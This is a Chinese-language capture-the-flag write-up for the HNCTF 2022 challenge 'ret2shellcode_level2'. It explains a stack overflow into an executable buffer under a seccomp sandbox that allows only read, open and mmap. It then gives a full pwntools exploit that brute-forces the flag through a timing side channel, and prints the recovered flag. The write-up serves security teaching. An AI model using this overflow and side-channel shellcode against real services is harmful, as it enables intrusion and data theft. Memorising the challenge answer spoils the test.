PWN-沙箱绕过-侧信道爆破攻击-[HNCTF 2022 WEEK3]ret2shellcode_level2

先看一下主函数

s 数组存在溢出

并且读入 s 的内容会被 cp 到 buff

mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);

 对包含标准输出结构体 stdout 的内存页,设置它的权限为可读、可写、可执行

buff 所在地址可读可写可执行 

正常这道题直接打 ret2shellcode 

但是这里存在沙箱

代码详细分析:

v1 = seccomp_init(0LL);

初始化一个 seccomp 过滤器上下文

seccomp_init(0LL) 等价于 seccomp_init(SCMP_ACT_KILL)

默认行为是:阻止(杀死)所有系统调用

seccomp_rule_add(v1, 2147418112LL, 9LL, 0LL);  // mmap
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);  // read
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);  // open

2147418112LL == 0x7fff0000 == SCMP_ACT_ALLOW,表示 允许这些调用 

syscall名称功能
0read读数据
2open打开文件
9mmap映射内存
seccomp_load(v1);

加载规则 → 正式启用沙箱过滤 

那么我们这里就无法系统调用 execve

如果直接打 ret2shellcode 会触发 `SIGSYS`(signal 31),表示:

非法的系统调用被执行,因为系统调用被拦截、限制

那么我们就需要采用其他方法,比如侧信道攻击

看了一下这里确实只允许 `read`、`open`、`mmap`

侧信道攻击(Side Channel Attack)并不依赖正常程序逻辑的漏洞,而是通过观察程序的行为差异(如时间、电量、声音)间接获取敏感信息

在 Pwn 方向中,最常用的是:

  • 时间侧信道:观察执行时间的长短判断是否进入某个死循环,从而验证猜测是否正确。

  • 非预期反馈路径:程序通过死循环、崩溃与否、是否回显等行为间接泄露内部状态。

类似于 Web 里面的 SQL 盲注 

整体利用思路:

构造 shellcode,注入程序中并使其可执行;

调用 open 打开 flag 文件,获取文件描述符;

使用 read 将 flag 内容读入一段可读写的内存区域(如 stack, .bss, 或 mmap);

构造一段 用于逐字节比较 flag 的 shellcode,实现爆破。

编写 exp:

# @author:My6n
# @time:20250605
from pwn import *
import time
import string

context(os='linux', arch='amd64', log_level='debug')

dic = list(string.printable.encode())

flag = ''
idx = 0
#idx = len(flag)

read_addr = 0x404000
buff_addr = 0x404060

shellcode_template = """
mov rdx, rsi
cmp byte ptr [rdx + {offset}], {char}
jz $-0x4
mov al, 59
syscall
"""

while True:
    for guess in dic:
        io = remote('node5.anna.nssctf.cn', 21887)

        compare_code = shellcode_template.format(offset=idx, char=guess)
        payload = asm(
            shellcraft.open('flag') +
            shellcraft.read(3, read_addr, 0x30) +
            compare_code
        )

        payload = payload.ljust(264, b'a') + p64(buff_addr)

        io.send(payload)

        start = time.time()
        io.can_recv(timeout=2)
        end = time.time()

        io.close()

        print(f"Trying idx={idx} char={chr(guess)} | Current flag: {flag}")

        if end - start > 2:
            flag += chr(guess)
            print(f"[+] Found char at idx {idx}: {chr(guess)}")
            break

    if flag.endswith('}'):
        break

    idx += 1

print(f"[+] Final flag: {flag}")

拿到 flag:

nssctf{S1d3_ch@nn3l_bl@st1ng_t0_g3t_fl4g}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值